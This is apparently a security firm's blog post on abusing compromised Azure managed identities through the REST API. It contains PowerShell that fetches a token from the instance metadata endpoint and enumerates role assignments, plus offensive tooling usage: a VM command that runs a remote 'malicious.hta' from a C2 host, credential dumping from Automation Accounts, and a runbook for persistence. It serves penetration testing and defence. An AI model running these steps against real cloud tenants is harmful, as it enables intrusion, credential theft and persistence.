Select Page

Compromising Azure Managed Identities with REST API

As more organizations move to Azure it’s important to pay attention to Azure managed identity abuse. It is possible to use authentication tokens from a compromised managed identity for enumeration and gaining additional access.

What are managed identities?

Managed identities are how one Azure resource is given access to another Azure resource. For example, a web application server that needs access to an Azure SQL database could be assigned a managed identity that has access to that database.

There are two types of managed identities in Azure: system-assigned and user-assigned. System-assigned identities apply to a single Azure resource. User-assigned identities can be applied to many resources. Microsoft discusses the differences between the two identity types here.

How to compromise a managed identity

Compromising a managed identity usually starts with the underlying resource. Managed identities can also be compromised by server-side request forgery (SSRF) to the metadata endpoint. However, the SSRF must provide the attacker with full control over the headers since the metadata endpoint requires an additional header to help mitigate SSRF attacks. A threat actor that has achieved code execution may be able to use the Az PowerShell module or the Azure CLI tool if it is installed on the host.

Another option is to use the Azure REST API to query the metadata endpoint for a bearer token. Each Azure service has different methods of obtaining a JSON Web Token (JWT). The line below queries a virtual machine managed identity to return at JWT.

$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing

Enumeration

A managed identity can be assigned several different roles.

Using PowerShell and HTTP requests you can parse the managed identity’s object ID from the JWT, attempt to fetch all the roles for a target subscription, and output any roles that our managed identity is assigned. If the identity has any roles within a subscription, they should be returned without needing Read access to the Microsoft.Authorization service. If the account has Read access to the Microsoft.Authorization service, then you can also grab the permissions of other principals within the subscription.

#Grab our identity's principal ID from our JWT
$tokenPayload = $managementToken.split('.')[1]
while($tokenPayload.Length % 4){$tokenPayload += "="}
$tokenJson = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($tokenPayload)) | ConvertFrom-Json
$currentPrincipalID = $tokenJson.oid
#Fetch role name/ID info
$roleDefinitions = ((Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$SubscriptionID,'/providers/Microsoft.Authorization/roleDefinitions?api-version=2015-07-01')) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).Content | ConvertFrom-Json).value
#Get all assignments in the subscription
$rbacAssignments = (((Invoke-WebRequest -Uri (-join ('https://management.azure.com/subscriptions/',$SubscriptionId,"/providers/Microsoft.Authorization/roleAssignments?api-version=2015-07-01")) -Verbose:$false -Method GET -Headers @{ Authorization ="Bearer $managementToken"} -UseBasicParsing).Content) | ConvertFrom-Json).value
foreach($def in $rbacAssignments.properties){
    $roleDefID = $def.roleDefinitionId.split("/")[6]
    #Search through our role definitions and find the role name
    $roleName = ($roleDefinitions | foreach-object {if ($_.name -eq $roleDefID){$_.properties.RoleName}})
    if($roleName){
        if($def.principalId -eq $currentPrincipalID){
            Write-Output (-join ("Current identity has permission ", $roleName, " on scope ", $def.scope))
        }
        else{
            Write-Output (-join ("Principal ", $def.principalId, " has permission ", $roleName, " on scope ", $def.scope))}
}}
Current identity has permission Reader on scope
/subscriptions/[redacted]/resourceGroups/victim_group
Current identity has permission Reader on scope /subscriptions/[redacted]/resourceGroups/Main/providers/Microsoft.KeyVault/vaults/[redacted]

This snippet is helpful when the identity only has access to specific resources, which is more common than group wide access. If, however, there is access to an entire resource group or subscription additional enumeration will be required.

We have helped port most of the Get-AzDomainInfo function from NetSPI’s MicroBurst over to the REST API equivalent (Get-AzDomainInfoREST). The REST version of the script will enumerate virtual machines, network interfaces, and automation accounts but certain services are not supported by the API, such as listing files in storage accounts.

Exploitation

We’ve also contributed two exploitation scripts to MicroBurst and modified the existing scripts to handle cases where many keys/credentials were returned. In our testing work with GUI access to a large key vault we noticed that and not all the keys are dumped. This is due to Microsoft only returning a certain number of results in a request, and then including a “nextLink” parameter which must be requested to fetch the rest of the results.

The two new scripts are ports of existing functionality to the API. The first, Invoke-AzVMCommandREST, allows you to execute a command on a VM. There is not currently a way to return the output to the console, though there is an option to output it to a storage account. To work around this either POST the result of the command to a Burp Collaborator instance, or simply use this function to obtain a C2 beacon and handle any IO operations over that channel. You can either specify a subscription + resource group + VM name, or the script will automatically enumerate them and prompt you with a menu of potential targets. You can see an example usage below.

Invoke-AzVMCommandREST -managementToken $token -commandToExecute “mshta.exe c2[dot]netspi[dot]com/malicious.hta”

The second script, Get-AzAutomationAccountCredsREST, creates and run a runbook to dump any credentials from all Automation Accounts that the identity has access to. This replicates some of the functionality of Get-AzPasswords. There’s also a function, Invoke-AzRunbook, that abstracts the ability to execute an arbitrary PowerShell script in a runbook. This could be used to create a runbook with a webhook for persistence, or any of your other favorite runbook-based attacks. The runbook will be cleaned up afterwards, but a job will be left in the jobs tab containing any output from the runbook, so keep this IOC in mind. This is one of the reasons that MicroBurst utilizes certificates when exporting credentials from automation accounts, to avoid displaying sensitive information to any user with permissions to read automation account jobs. You can see this in action below, note that the “Source Snapshot” is not available since the runbook has been deleted.

echo “Write-Output You shouldn’t be seeing this!” > runme.ps1
Invoke-AzRunbook -targetScript .runme.ps1 -managementToken $token -automationAccount [accountName] -subscriptionId [subID] -resourceGroup [resourceGroup]

There are largely one-to-one mappings of API endpoints to Az/CLI commands, we just have to do the parts that Az/CLI would normally do, like getting file contents or generating GUIDs.

Insights

Get the Latest Security Insights

Our security experts regularly share insights and updates from the field. View More Insights

Two professionals chatting.

Protecting Your Mission Is Our Mission

Secure your data and assets with a critical infrastructure cybersecurity partner.

Contact Us